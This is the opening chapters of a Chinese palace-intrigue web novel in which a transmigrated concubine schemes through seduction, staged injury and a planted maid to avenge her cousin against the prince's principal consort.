《易孕娇妃勾勾手,王爷俯首称臣了》 第1章 验身 “腿分开些!” “挺腰!” 夜深,贴着双喜的红烛随风摇晃,垂下泪来。 暖黄色的洞房内,云清婳被几个丫鬟死死按在榻上。 金丝锦绣大红喜袍如落叶般被秋风撕裂,飘零到榻下。 她双臂交缠,守护着胸前最后一件布料,柔弱中透着倔强,“不,不要……” 满脸皱纹的嬷嬷手里捏着银针,就往她身下探,“云侧妃样貌狐媚,丰腴圆挺,九曲十八弯,须得医治,才不致迷惑君心。” “不……”云清婳浑圆的眼眸泛着红,瑟瑟发抖,看起来像只受惊的兔子。 可她心中却在冷笑。 这一切的始作俑者,正是她那夫君的正妃! 跟她一样的穿书者! 赵婉宁,既然你主动把男主推给我,我就不客气了! 三年前,皇上将云清婳的表姐谢容音,也就是这本小说真正的女主赐婚给男主裴墨染。 原剧情里,裴墨染跟谢容音是少年夫妻,经历重重磨难,相互扶持救赎,最终登顶帝位,共治天下。 可穿书而来的赵婉宁凭借模仿谢容音,不仅抢先吸引了裴墨染,竟收买了十几个山匪将她变态的强暴凌虐。 尽管如此,谢容音还是乐观的想活下去,直到边关传来战报,她的心上人战死沙场,她才心如死灰,引火自焚。 而赵婉宁风光大嫁给裴墨染,风光无限,十里红妆。 赵婉宁以为可以像拿捏表姐一样拿捏她? 殊不知,她在穿越前是天生坏种,从小无恶不作。多亏了善良无瑕,救人无数的谢容音从小教导,才将她的恶性压下。 表姐死后,她终于能释放自我了! 她要夺走赵婉宁的一切,将她碎尸万段,为表姐报仇! 就在婆子的针,要刺入云清婳最娇嫩的皮肤时,砰—— 门被踹开。 一个剑眉星目,面容绝美的男人快步走了进来,他的剑眉一蹙,视线就落在床榻上。 床榻上的女子容貌娇媚,眼泪跟断了线的珍珠似的,顺着鼻梁滑落到下巴、锁骨,单薄的身子上虚虚挂着肚兜,大片白皙的肌肤暴露在空气中。 他莫名感到燥热,匆忙瞥开眼,将衣袍脱下扔在她身上。 “放肆!都给本王滚!”他怒吼一声。 丫鬟、婆子连滚带爬地逃走。 云清婳连忙用男人的衣袍裹住身子,她委屈的哭道:“王爷何故如此折辱我?我云清婳乃是京城第一贵女,德行昭然,云家更是清流世家,您厌恶我,为何答应娶我?” 她哽咽得喘不上气,胸脯起伏频繁,像是快要昏过去,让人不得不生出一丝怜悯。 裴墨染自然知道这是赵婉宁指使的。 但赵婉宁不仅是他的发妻,还是他的知己以及沙场出生入死的恋人。他不愿在外人面前说赵婉宁的不是。 他声音放轻了些,“此事有误会。” “误会?亏我还崇拜王爷是大昭战神,没成想您居然跟一个小女子过不去。”她明明在讽刺,可声音娇气,像极了撒娇。 裴墨染的情绪莫名被挑动起来,他想解释、安抚,理智却让他压下。 他想这样也好,正好跟云清婳说明白自己一生只会爱赵婉宁一人,让她别动歪心思。 他正欲张嘴,云清婳便道:“我早知王爷王妃鸾凤和鸣,我从未想过破坏良缘,岂料王爷竟想置我于死地,既然如此,请您移步!” 云清婳从被褥伸出光洁纤细的胳膊,指着大门,眼中的怨念倾泻而出。 裴墨染有些诧异,云清婳居然敢在新婚夜赶他走!? “不可啊!嬷嬷为您验身之事,肯定已经传了出去,若是王爷走了,岂不是坐实了您是不洁之身?”陪嫁丫鬟飞霜双膝砸地,扑通跪在地上。 云清婳瞳孔一震,两行清泪从眼眶滚出,委屈又不甘。 裴墨染看着她梨花带雨的凄惨模样,心口堵闷。 这场联姻,真正牺牲的只有云清婳,她若是安分,他未尝不可让她光鲜体面。 忽地,门外传来一道女声,“王爷,王妃烫了酒,请您前去小酌。” “……”云清婳身子摇摇欲坠,似乎已经看见了明日被世人辱骂、浸猪笼的下场。 屋内陷入一阵沉默。 良久,门内传出裴墨染疲惫的声音,“让王妃不必等了。” 他身子一转,果断朝着里间的浴室走去。 他自然不能让云清婳名声受损,她身后是朝中举足轻重的云氏一族。 若不是皇兄怕父皇疑心,不敢权势独大,云家的姻亲怎会落在他这个常年驻守西北,不受宠的皇子头上? 他在帮婉宁收拾烂摊子,婉宁应该会理解他吧。 外面的婢女似乎很惊讶,站了好一会儿才肯离开。 浴室门被阖上的瞬间,云清婳原本柔弱悲痛的脸色被鄙夷取代。 她的嘴角斜提,眼中释放出森然寒意。 呵,什么鸾凤和鸣,夫妻情深? 狗男人还不是主动留下了? “赵婉宁,直接杀了你怎能解气?我要抢走你心爱的男人,让他化为我的利刃,成为刺向你的尖刀,然后抢走你梦寐以求的皇后之位,看你痛不欲生,却无可奈何。” 飞霜压低声音道:“奴婢还以为今晚王爷要被赵婉宁叫走了呢。” “赵婉宁主动奉上的男人,我当然却之不恭。”云清婳勾唇一笑,她的桃花眼外翘内勾,眼神像是一个小钩子,让人沉沦。 裴墨染沐浴完毕,依旧浑身燥热,脑海里不由自主地浮现云清婳只着寸缕,双腿曲起,双眼失焦的画面。 他走到床榻前,正色道:“云清婳,本王答应过王妃一生一世一双人,绝不会碰其他女子。今日留宿,实为无奈之举。日后,你倘若恪守本分,本王自会给你体面。” 裴墨染的眼眸微眯,观察着她的反应。 此时,云清婳已经穿好了红绸亵衣,正将枕头横亘在床榻的正中间。 “王爷放心,妾身谨记于心。”她虽跪坐在榻上,可语气带着丝丝雀跃,就像是求之不得。 裴墨染的脸上闪过一丝波澜,可还来不及捕捉,就消失不见。 她居然不难过、不想侍寝? 裴墨染心里憋着一口气,他踹掉了皂靴,周身环绕着冷气一头平躺在床榻外侧。 而瘦弱的小人儿不断往床榻内瑟缩,就像他是洪水猛兽,生怕被他沾上。 毕竟,这才符合男人的贱性,越是得不到,越想要。 裴墨染阖上眼,一股陌生而淡雅的清香飘了过来,让他居然很喜欢,忍不住多嗅了嗅。 云清婳背对着他,心里暗笑,狗男人,长得不错,找他陪睡倒也不亏。 只是疑心病太重,她只能下一剂猛药。 窗边的镂空雕鹤香炉上,袅袅升起了一股诡秘幽香的烟,随着人的呼吸钻入五脏六腑。 裴墨染很快就陷入梦乡。 梦境旖旎,他强势地将云清婳的亵衣撕裂,将她按在榻上掠夺,不顾她的求饶…… 云清婳看着枕边人的眉宇时而舒展时而紧蹙,还不时的发出细弱的闷哼,她满意的笑了。 飞霜不愧是药仙谷谷主的女儿,她调的迷香,能结合男人睡前所观,激发内心的渴望。 她方才只着寸缕,裸露出大片肌肤,狗男人必会梦见她。 只是不知,迷香给狗男人造得春梦究竟有多孟浪? …… 翌日清晨,天边泛起了鱼肚白。 裴墨染从梦中惊醒,他的心跳密如战鼓,莫大的愧疚感、心虚感快要将他吞噬。 他怎会对云清婳有那样的心思? 居然做了关于她的春梦。 他正欲起身,却发觉不对,面颊绯红…… 他不是一个重欲的人,自从弱冠,就甚少会发生这种事。 第2章 收喜帕,查看落红 裴墨染下意识瞥向身侧之人,隔着枕头,云清婳的红绸亵衣领口敞开,肚兜若隐若现。 他喉结滚动,顿感口干舌燥。 云清婳扭了个身,面对着他,领口又敞开了些,如同墨汁浸染的发垂坠在胸口,与白皙的肌肤形成鲜明的对比,引人驻目。 裴墨染又感到一阵燥热。 就在他准备呵斥她,让她别装时,紫红色的掐痕暴露出来。 裴墨染心中升起了一丝怜惜。 咚咚咚—— 门被敲响,飞霜的声音传来:“王爷、主子,宫里派人来收喜帕了。” 云清婳被惊醒,她茫然地从榻上坐起身。 此时,裴墨染已经下榻穿好衣物,他面无表情,“本王会跟嬷嬷说明。” 云清婳的黛眉微蹙,她的声音轻柔却条理清晰,“王爷不是说会给妾身体面吗?再来,其实妾身也可以帮您跟王妃,既然您想跟王妃长相厮守,就不该让宫中捉住话柄。” 裴墨染没想到她居然如此豁达,他突然有些后悔,昨日该对她好一些的。 的确,他未跟云清婳洞房的事传出去,保不齐外面的怎么编排婉宁善妒。 “你想如何?”他问。 云清婳毫无预兆地抓住裴墨染的手,她低下头,对着他的食指狠狠地咬。 嘶—— 裴墨染倒吸了一口凉气。 这个小丫头咬他,绝对是带着点私人恩怨的。 似乎想把一截指骨咬掉! 她就这么讨厌他? 痛感过后,他感受到了湿热灵活的舌在他的指尖滑动。 他感觉手指一阵酥麻,一股说不明的痒意从四肢百骸直达天灵盖。 他从未有过这么奇异的感觉。 云清婳将他食指上的血滴在帕子上,窃喜道:“好了。” 裴墨染无奈的睨了她一眼。 真是小气鬼! 他扯弄了一会儿衣袍下摆,才将喜帕递给门外的白嬷嬷。 白嬷嬷是皇后的心腹,她看到喜帕,嘴都乐得合不拢,“恭祝王爷、侧妃百年好合。” 裴墨染懒得搭理,他洗漱后便匆匆离开。 云清婳看到裴墨染睡的半边床榻上的痕迹,笑中带着嘲讽。 不是对赵婉宁矢志不渝吗? 这是什么? “您这样跟王爷闹脾气,还怎么得到他的心?”飞霜担心地问。 云清婳的复仇,身为心腹的飞霜是知道的。 云清婳恍若作壁上观的军师,一切尽在股掌之中,她淡然一笑,“裴墨染征战沙场十年,靠武力征服一切,我若一昧地顺从他,只会让他反感,只有激起他的征服欲,才能让他慢慢交心。” 换言之,裴墨染就是犯贱。 好啃的骨头,他看不上。 他就喜欢啃硬骨头。 飞霜似懂非懂。 …… 按照规矩,云清婳在卯时三刻得给正妃请安。 云清婳提前一刻钟候在清心阁的门外,这里婢女悄悄打量着她,眼底既有好奇也有厌恶。 厅中,赵婉宁坐在主位。 少顷,云清婳被引了进来。 赵婉宁看到她的脸蛋的刹那,心脏猛地一揪,她素来倨傲淡然的脸上出现了裂痕。 云清婳的长相美艳近妖,举手投足尽显婀娜,惑人得很啊! “妾身给王妃请安。”云清婳恭敬地跪下,行了一个标准的礼,双手奉上茶水。 没办法,官大一级压死人。 谁让她如今只是侧妃呢? 尽管是丞相府嫡女,却也只能给县令之女下跪。 四下的婢女都不由得在心中叹服,云清婳不愧有“世家贵女之典范”的名声,礼数完美到极致,恐怕用格尺量都不会出现偏差。 “云妹妹真乖。”赵婉宁接过茶水抿了一口,语气像在逗弄猫狗。 “府中的规矩不少,为了防止云妹妹不慎触怒王爷,就让管家念给云妹妹听吧。”赵婉宁瞥了眼门外的管家。 转眼,管家抱着厚厚一沓书而来。 这府规少说也有一千条。 等念完,两个时辰恐怕都过去了。 恐怕膝盖都得跪青。 明眼人都看得出来,这是在给云清婳下马威! 赵婉宁根本没将云清婳放在眼里,所以只是稍作警告。 “王妃,说起规矩,妾身有一事要请罪。”云清婳似是要哭了,缓缓垂下眼眸。 “哦?云妹妹这般乖巧,怎会犯错?”赵婉宁左边的细眉一挑。 云清婳似是屈辱,悲戚道:“妾身未让王爷满意,昨晚未能伺候王爷。” 赵婉宁早就猜到,并不意外,云清婳的话也并不能讨她欢心。“云妹妹不要多想,王爷只是怜惜妹妹累了。” 她话锋一转,厉色道:“管家,快些念府规吧,别耽误了云妃歇息。” “王妃,其实妾身还有一事。” 此话一落,赵婉宁在心中嗤笑,暗骂她愚蠢。 云清婳说来说去,拖延时间,不就是不想跪着听规矩吗? 别以为她能逃得掉! 今日她就算说出朵花来,她也得跪半天! “说吧。”赵婉宁好整以暇。 云清婳的耳朵轻动,她早早就听见了几乎微不可闻的脚步声。 “妾身其实很崇敬王妃,妾身困于深宅,抬眼只能望见四角的天空。而王妃却是军事奇才,五年前的瓦剌之战,多亏您识破了内奸,重新布阵,我军才扭转局势,转危为安。”她的眼神灵动,语气的钦佩都快要溢出来。 门后,本来在笑话云清婳卖乖的裴墨染表情渐渐凝固。 五年前的瓦剌之战,捉住内奸的是他,排兵布阵的也是他! 尽管婉宁跟他想法相同,但他早早就安排人去做了。 不知为何,军中将士、百姓全是称赞婉宁是女神算子的。 之后的战役,他的功劳也都被婉宁抢去了。 而他只获得一个“知人善任”的名头。 没人发现他的才华,最多只会说他运气好。 “呵,我跟只会读《女则》《女戒》的女子自然不同。我从不觉得自己比男儿差!”赵婉宁脸上的骄傲藏不住。 裴墨染眼神暗淡,莫名烦躁。 云清婳还想再说,赵婉宁不耐烦地打断她,“云妹妹有什么话我们改日再说,管家,念府规吧。” “是。”管家翻开厚厚的府规。 云清婳扶额,“王妃,妾身有些头晕。” 说着,她选了个优雅的姿势倒了下去,就连头发丝都是精致服帖的,让人挑不出错。 挑拨离间的目的达到了,她自然就要跑路。 想折磨她? 做梦! “来人,叫醒云妹妹。”赵婉宁戏谑地看向陪嫁婢女宝音。 “云侧妃,您不会是装晕吧?奴婢得罪了!”宝音提来一壶滚烫的开水,作势就要浇上去。 就在这时,裴墨染急于星火般大步走来,拦在云清婳身前,“谁敢!” 第3章 霸气护妻 宝音一颤,立即跪下。 “快将云妃抬下去。”他摆摆手。 玄音阁的婢女手脚麻利地将云清婳扶走。 赵婉宁的眼底划过狠厉,可还是挤出笑,轻拍身侧的位置,“王爷,快来坐。” 这大不敬的动作,在婢女的眼中早就见怪不怪。 裴墨染心中不悦,赵婉宁的动作像在唤猫狗。 可这点小事,不值得发作。 “婉宁,云清婳毕竟是云丞相的嫡女,就算不喜她,也不可伤她。”裴墨染走上前,双手按在她的肩上,注视着她。 赵婉宁敷衍的颔首,她的语气略带讥讽:“难道王爷看不出她方才是装的?演技拙劣,真是好笑。” 想到方才云清婳卖乖讨好的模样,裴墨染的嘴角不自知地上扬,“她的确蠢笨。” 赵婉宁听到他贬低云清婳,登时放心了。 果然! 裴墨染不愧是男主,不会轻易被美色打动。 “婉宁,本王的志向你是知道的。本王不想再当皇兄的垫脚石了,既然本王已跟云家结为姻亲,不如我们再要个孩子,这样在父皇面前也有胜算。”裴墨染操着商量的口吻,褪去了武将身上的戾气,无尽温柔。 赵婉宁的眉眼一跳,脸上的表情复杂,“我、我……来葵水了。” “可是……” 裴墨染还想再说,可赵婉宁就沉了脸,“难道在王爷心里,我只是生子工具?我对王爷而言,只是发泄欲望的玩意儿?” 他鬓角的青筋鼓起,腹中怒意上涌,如同岩浆快要爆发。 可想到云清婳昨日进门,她肯定心里委屈,他只好忍下脾气。 裴墨染抱着她哄道:“你是本王的妻子,曾陪本王征战两年,还为本王挡过一箭,你为本王做的一切,本王都记得,你怎么可能是工具?” 赵婉宁心下感动不已,可嘴上还是冷硬地说:“王爷记得我的好就好。” 她穿书前就是养尊处优的大小姐,从小被众星捧月,不会向人服软,更何况是面对落后的古人? “本王一直记得。”裴墨染微不可闻地叹了口气。 三年前,新婚当日,他便被皇上急令去戍守西北。 三年里,他每次被召回京,都想抽空跟婉宁圆房。 可婉宁每次都用月事为借口拒绝…… …… 云清婳被扶回玄音阁不久,皇后便召她入宫敬茶。 这是正妃才有的殊荣,没想到皇后也给她。 由此可见,皇后对云家的看重。 …… 皇宫。 神武门。 云清婳梳了随云髻,头上佩戴着一对点翠孔雀步摇,步摇下坠着圆润珍珠,在光影下焕发光泽。 她穿着浅紫色祥云纹绫罗裙,外面罩着一层金丝绣薄纱,在阳光下散发出彩色的光晕,看起来飘然若仙。 “可安排好了?”她扶着飞霜的手,缓缓下了马车。 飞霜颔首,“一切就绪,就等您了。” 走到神武门时,正巧几位命妇被召见入宫。 她们上下打量着云清婳,眼里盛满了戏谑。 云清婳含笑朝她们见礼,礼节标准,毫无破绽。 可几个命妇却伸臂将她拦住。 “呦,我当是谁呢?这不是京城第一贵女吗?” “丞相嫡女,嫁去肃王府做妾!这就是典范?” “与人做妾,这样的典范,我们可效仿不来!呵呵……” 几人将她围住,以帕子捂嘴,低低的嗤笑。 她们及笄后,常被人拿来跟云清婳比较,她们仿佛就是云清婳的垫脚石,如今压了云清婳一头,这么好的报仇机会自然不能放过。 云清婳很想掐断她们的脖子。 可听见不远处的脚步声,她只能拘着双手,微微低头,如同一朵坚韧的小白花。 “云妹妹,侧妃便是妾,好像是不能上桌吃饭的吧?”一个命妇似在虚心求教。 云清婳瞥见不远处的青色衣衫,只挤出了一个难堪的笑。 “放肆!”一声威严的低吼传来。 几个命妇吓得一颤,当即欠身行礼,“见过王爷。” 裴墨染大步上前,将云清婳护在身后,“本王的人,岂容你们编排?她是本王明媒正娶的侧妃,你们可是在打本王的脸?” 命妇的脸色吓得惨白,有的人已经在发颤。 “臣妾不敢。”命妇声音发颤。 他言辞刻薄道:“云妃是京中第一贵女,德行昭然,你们方才百般刁难,莫非是觉得本王配不上云妃,或是父皇的旨意有误?” 命妇一颤,吓得魂都要飞了,立即跪下叩首,“不敢不敢,是臣妾错了,云妃大人不记小人过,饶了我们这一回吧。” 裴墨染看向云清婳。 她摆摆手,示意她们离开。 “滚!”裴墨染冷如冰珠地吐出这一个字。 命妇如蒙大赦,逃似地走了。 这一切,自然是云清婳算准了时候,故意让裴墨染看见的。 她要让裴墨染清楚地知道,嫁给他,她受了多大的委屈! 让他同情,让他怜悯,让他愧疚! 裴墨染一垂眸,只见云清婳仰起头,双眸晶亮,崇拜地看着他。 她的眼神就像在看盖世英雄。 裴墨染从未被女人这样看过,耳根子居然红了。 冷硬的话被咽回肚中,他匆匆错开眼,声音柔和下来,“没事吧?” 云清婳的面颊绯红,纠结之下开口:“妾身无事,多谢王爷。” 他的嘴角微微上扬,看来昨晚的事算是揭过了。 “为何不等本王一起?”他轻声问。 云清婳福身,“妾身只想恪守本分,不愿让王妃疑心。” 裴墨染看着她,心情复杂。 她懂事得让人心疼。 可她当真一点都不在乎他的宠爱? 云清婳紧随其后,她从袖中拿出了金疮药,愧疚的说:“王爷,今早……对不住。” 他看着指尖的薄痂,促狭道:“这就是第一贵女的做派?” 云清婳被看穿了小心思,面颊一红,羞臊道:“谁让您欺负人的?” “只会窝里横。”裴墨染好笑地评价。 “才不是!王爷才回京,妾身不想给您添麻烦。”云清婳鼓着嘴,怯生生的辩解。 裴墨染微怔。 她竟然想得到这一层,知道他才从边关回京,根基不稳,所以不想开罪其他官员。 他接过药瓶,心中升腾起了一股淡淡的暖意。 旁人从不会为他考虑这些。 …… 翊坤宫。 裴墨染被召去了御书房,所以云清婳只身来请安。 皇后拉着云清婳的手,笑靥如花,“清婳,你跟云澈的亲事,真是造化弄人!不过还好,墨染虽不是本宫的亲儿子,但也是本宫养大的,我们果然有婆媳缘分。” 云清婳看着她那双保养得当的手,眼睛都黑了。 真是恶心! 令人作呕! 当年,正是三皇子裴云澈杀了姐姐的心上人。 而皇后嫌弃姐姐被人侮辱,又不想主动提出退婚当恶人,于是故意将边关战败的消息泄露出去,让姐姐心如死灰选择自焚。 是他们联合起来,逼死了姐姐! 她犹记得那晚,京城的雪下的好大,她们促膝长谈,姐姐答应她会好好活着,可趁着她去为姐姐取药的功夫,姐姐点燃了闺房的一切…… 这三个仇人,她会一一送他们上西天,以血祭亡灵! 第4章 他受不住她的眼泪 “皇后娘娘跟殿下待妾身的好,妾身都铭记于心,不敢忘怀。”云清婳膈应地抽出手,福了个大礼。 皇后的双眼笑成了一对弯月牙,她似乎对云清婳的“投诚”很满意。 这就对了! 就算嫁给裴墨染做妾,云清婳也应该向着她,向着她的亲儿子——裴云澈! 云清婳虚与委蛇地跟皇后聊了片刻,很快裴墨染也来了。 母子二人要说体己话,她很识眼色地借故离开。 因为接下来,她要攻略另一个狗男人了。 …… 翊坤宫的后花园中十分静谧,没有宫人值守。 云清婳站在碧湖前,她捏着一条湖蓝色的手帕拭去眼角的晶莹。 在探出花圃的一片翠绿的衬托下,她像极了一朵在风中凋零的小花朵,孤苦无依。 圆栱门后,一个颀长的身影,默默注视着她。 男子穿着湖蓝色锦袍,贵气逼人,他的双眼弧度圆润,瞳仁明亮,一副翩翩君子貌,温润如玉,跟裴墨染的剑眉星目,以及颇具攻击力的深邃五官截然相反。 云清婳眼角的余光瞥见男人,毅然决然地往湖中走去。 她才探出一只脚,绣花鞋正要浸没在湖水中时,男人倏地冲上前,死死捏住她的胳膊。 “蛮蛮!”裴云澈的声音都在颤抖。 蛮蛮便是云清婳的乳名。 为了攻略裴云澈,云清婳足足花了一年的时间。 可裴云澈为人克制,不敢轻易动心,所以他们之前一直保持着朦胧的暧昧,神魂交合,裴云澈也从未逾矩表露心迹。 她今日就要打破他的克制! 这样才好为将来裴墨染、裴云澈决裂的戏码做铺垫,一步步将他引上黄泉路! “您别拦我,别拦我……让我去死……”云清婳哽咽,她吃力地推搡他。 可裴云澈的力道不断加重,他强行将她拖拽到远离湖水的屋檐下,“蛮蛮,不要做傻事!” “我跟殿下有什么关系?您为何要管我?”云清婳的杏眸睁得硕大,其中尽是愤怒。 就像在指责:若不是你的懦弱,害怕被皇上判定有谋逆之心,我怎会嫁给别人? 裴云澈的唇瓣颤了颤,他艰难道:“本王……” “王爷跟王妃欺辱我,昨晚甚至让人……”云清婳哽住。 她的眼泪扑簌簌地落,如同一滴滴岩浆,洒在他的心上,灼得生疼。 肃王府有他的眼线,他自然听说了昨晚的事。 裴云澈捏着拳头,一时之间,心如乱麻。 看着云清婳受委屈,他心如火煎。 可她已经被赐婚给裴墨染,他怎能动邪念? 云清婳看出了他内心的挣扎,转身又朝着湖边跑去,“我不想回去!与其被那般侮辱,还不如死了干净!” “蛮蛮!”裴云澈下意识的抱住她,他的双臂都在颤抖。 他低声道:“蛮蛮,不要做傻事,好好活着,就当是……为了本王。” 这是隐晦的露白。 对于裴云澈来说,已经是难得。 鱼儿已经上钩了! 云清婳不准备再逼他,她泄了力,扭头用深情的眼神看他,“殿下,我会在心里为您守节。” 说着,她快步跑开。 裴云澈胸腔内一震,他感受到了钻心般的疼。 …… 跟白嬷嬷交代一声,云清婳就离开了翊坤宫。 她拍着身上的衣袍,满脸膈应,她蹙眉交代:“回府后,将这身衣裙烧了,真脏!” 害死姐姐的人,跟他们呼吸同一处空气都令人作呕。 “是。”飞霜应声,“主子,裴云澈那边已经上钩,但是王爷……” “放心,裴墨染已经对我产生了兴趣。”云清婳歪着脑袋,似乎想到了什么,“暗棋,可以亮出来了。” 飞霜露出诡异的笑,“是。” 云清婳眼圈泛出淡淡的红,她低声喃喃:“姐姐,你教过我,凡事要给人一次机会,这是我给赵婉宁的最后一次机会。” …… 玄音阁。 云清婳慵懒的躺在床榻上,飞霜给她捶着腿。 她沉吟一声,“同时攻略两个人太累了。” 门砰的被踹开,裴墨染气势汹汹的快步走来,一股杀气铺天盖地席卷而来。 他并肩而行的正是赵婉宁,她的脸色透着病态的白。 “云清婳!”他咬牙切齿的低吼。 云清婳身子一僵,一双杏眼瞪得浑圆,她瑟瑟的从榻上跪坐起来,“参见王爷、王妃……” 裴墨染的眼眸微眯,如同鹰隼般狠厉,“婉宁中毒,是不是你干的?” “妾身不知王爷在说什么!”她受到了惊吓,身子发颤。 “还装?今晨,除了你敬的茶,婉宁什么也没有吃。”他的指节捏得咔咔作响,像是恨不得将她给削骨扒皮。 咻—— 一道寒光,从云清婳惨白的脸蛋上闪过。 赵婉宁将裴墨染腰间的佩剑拔出,剑尖直指她的脖颈,“王爷,还与她废什么话?我本想放过她,可她自己找死!” 云清婳没想到赵婉宁这么沉不住气。 她求救的看向裴墨染,双眸含泪,好不怜人。 裴墨染眼中除了愤怒,只剩悔恨。 他居然被云清婳骗了? 她的温柔大度都是假的? 云清婳的脸上浮现出委屈,她含泪赵婉宁对视,丝毫不心虚,“王妃,妾身虽然愚笨,可怎会傻到实名投毒?” 赵婉宁怒斥,“还敢狡辩!” “王爷、王妃就算让妾身死,也让妾身死个明白!”云清婳主动挺身,用脖颈触碰剑尖。 看起来就像是赵婉宁用剑抹她的脖子。 赵婉宁猝不及防,想收手时为时已晚,剑尖已经将云清婳的脖颈划出一道浅而细长的口子。 裴墨染的双眼被血红给刺了下,他想阻拦赵婉宁,可赵婉宁已经将剑放下了。 “主子!”飞霜痛呼。 这一刀,她以后定会讨回来。 云清婳脖颈上的血丝不断渗血,悲凉道:“王妃,妾身的命就在您手里,只求您给妾身些时间,让人探查清楚。” “真是不见棺材不落泪!”赵婉宁怒斥。 就在这时,管家赶来,“王爷,查清楚了,是王妃院里的婢女采薇干的。” 裴墨染呼吸一滞,看云清婳的眼神染上愧疚,他的心也有些难受。 云清婳幽怨、委屈的看着他,就像在说,你为何不信我? 他焦急道:“都愣着干什么?快传府医,给云妃包扎!” 裴墨染从袖中拿出帕子,着急的伸手,想为她捂住伤口。 她这么羸弱,弱不禁风的,若是血流干了怎么办? 可云清婳的神情失望,就像被伤透了心,她侧脸避开他的触碰,温热的眼泪却不准不误的低落在他的手背上。 他的心仿佛也被烫到,“本王误会你了。” 云清婳抿着唇,极力忍住哭声,倔强的不回答。 裴墨染最受不得女人的眼泪,他实在手足无措,“别哭了,本王知道你性情温良,这次是我们冲动了。” 他看向赵婉宁,示意她说话,可赵婉宁早就黑了脸。 这让他的心里很不高兴,婉宁为何如此冲动鲁莽? 第5章 他想讨好云清婳 清心阁。 赵婉宁脸色惨白的倚靠在坐榻上,宝音正在喂她喝药。 一个婢女被五花大绑丢在正厅中央。 婢女怨毒的看着上首的人。 “我向来赏罚分明,赏赐不断,你怎会背叛我?”赵婉宁不解。 “究竟是怎么回事?”裴墨染怒问。 管家长叹一声,“此事是王妃的梳头婢采薇干的,她往王妃的口脂里下了夹竹桃花粉。” “怎么会?小小婢女跟王妃何仇何怨?”云清婳捂着嘴惊呼。 采薇冷笑,“赵婉宁,你该死!你可还记得三年前,你遭山匪追杀,被京郊一农妇所救?你害怕暴露行踪,在被救的第二日,恩将仇报杀了她?她是我娘!” 众人都被如此内情吓到。 宝音的眼中流露一片慌乱。 赵婉宁一脸茫然,“农妇?这是什么时候的事?” “你不记得?一条人命,你居然不记得?哈哈……”采薇癫狂的大笑。 忽的,她的嘴里吐出了黑血。 “她服毒了!”管家想要阻止,可走近一探鼻息,人已经断气。 裴墨染凝眉。 类似的事,赵婉宁曾经在边地就做过不少。 赵婉宁神情自若,甚至为自己的雷霆手段沾沾自喜,“也没什么不好承认的,这的确是我的作风,只有死人才不会暴露秘密,不是吗?” 她毫不吝啬展示自己的狠辣,裴墨染正是喜欢她的真实不做作不是吗? 裴墨染的眼中浮现了淡淡的失望跟无奈。 曾经在边地,婉宁的心狠手辣是为了自保,他可以理解。 可在京城,她为何要这么做? 为何要对无辜农妇出手? “将她葬了。”裴墨染摆摆手,命令道。 “是。”管家立即着手去办。 云清婳被吓到,脸色惨白,她埋怨的瞥了裴墨染一眼,跌跌撞撞的跑走了。 转身的瞬间,她的眼中恨意凝固,如有实质。 姐姐,你看! 恶人做了坏事,根本不会记得。 他们根本不值得被原谅! 裴墨染的心上像是被压了块巨石,让他喘不上气,他不喜欢云清婳用这种眼神看他。 明明不久前,她看他的眼神还是那样的崇拜…… “王爷,我命人做了羊肉,今晚留下用膳吧。”赵婉宁罕见的发出邀请。 她知道男人的贱性,越得不到,他们就越想要。 这些年,她对裴墨染也是如此,若即若离。 她跟古代那些只会献媚的女子可不一样。 裴墨染蹙眉,他讨厌羊肉,一股膻味……只是婉宁爱吃,他才陪着她吃几口罢了。 “婉宁,你方才伤了云清婳,多少得表示一下歉意。”他斟酌着开口。 赵婉宁轻哼,想起云清婳方才痛哭流涕的模样,她就想笑。“我不要!我为何要对一个妾低头?我给她的,罚也是赏,正好给她个训诫。” 她的话分外刺耳。 他的脸色黑沉下来,冷淡道:“本王还有政务,你好生歇息。” 赵婉宁并未起身相送,慵懒的颔首,“是。” …… 裴墨染并没有去书房,一转身,去了玄音阁的方向。 玄音阁。 云清婳坐在榻上,狠狠捏了下脖颈上的伤口。 快要愈合结痂的伤口,又渗出了血丝。 采薇是她三年前就埋在四王府的暗棋。 五年前,京郊的村子发过瘟疫,是姐姐冒死在村口搭棚施药,才救了全村的人。 所以听说她要给姐姐报仇,拥有着共同敌人的采薇自然一拍即合。 采薇方才吃下的是飞霜炼制的假死药,明日这个时候,她就能醒来。 门外传来熟悉的脚步声,裴墨染示意下人不要通传。 飞霜心疼的直掉眼泪,“在云府,老爷连一句重话都不曾对您说过,少爷们对您也是如珠似玉的疼着,您何曾受过这种委屈?您冰肌玉肤,若是留疤了怎么办?” “不哭了。”云清婳拿出帕子,温柔的给她擦眼泪,“这就是命,造化弄人,谁让我不讨王爷喜欢呢?凡事总有先来后到,我做什么努力都没用。” 她的话,像是细细密密的针,扎进了裴墨染的心。 他对皇后母子而言,何尝不是如此? 为他们舍命,镇守边关,血战沙场又如何? 到头来,他还是外人。 裴墨染心中的愧疚,在这一刻无限放大。 他低咳了咳。 “王爷……”飞霜惊呼,立马跪下行礼。 云清婳恹恹的看他一眼,扭转过身,背对着他。 裴墨染不恼,他走上前,拿出帕子,伸向她的伤处。 云清婳不动声色的侧过脖子,躲开他的触碰,她跪下,“王爷可还想杀掉妾身?” 这是生气了。 裴墨染向来没什么耐心,可今日却出奇的好脾气,他强行扶她起身,“府医何在?快来给云妃医治,定不可留疤。” 云清婳后退几步,“多谢王爷。” 她跟他再次形同陌路。 不久前才搭建出的一丝熟悉坍塌成废墟。 “方才本王是想拦着的。”他苍白的解释。 “是。都是妾身鲁莽,是妾身主动迎上剑刃的。王爷放心,若是被人发现伤处,妾身定不会让旁人误会王妃。”云清婳似乎真被伤了心,眼泪如同断了线的珠子。 裴墨染实在无奈。 她懂事得让人心疼。 他笨拙的用指腹给她拭泪,“别哭了,本王日后定不让任何人伤你,这次是意外,以后不会了。” 云清婳倔强的别过脸,“王爷去陪王妃吧,我不敢再让王妃误会。” “你是本王的侧妃,伺候本王是你的本分,你怎敢抗拒?”裴墨染佯装生气。 “是。”她低眉顺眼,心里憋着一口气,但是不敢再发了。 太医为云清婳带来了一瓶药膏,婢女给她上药时,裴墨染在一边定定地看着。 他跟发誓一般,一字一顿道:“本王定不会让你留疤。” 女子最在意容貌,云清婳生的国色天香,若是留疤了,她一定会比其他女子更难过。 云清婳摆明不信,眼神含着幽怨。 二人相对无言。 他怀着补偿云清婳、安抚云家的心思,陪她用了晚膳,顺便留宿。 可云清婳的脸上没有丝毫惊喜。 裴墨染躺在榻上,仰头看着帐顶坠下的五彩流苏,心中郁结。 他都如此讨好云清婳了,她怎么还甩脸色? 伤害她的人是婉宁,又不是他! 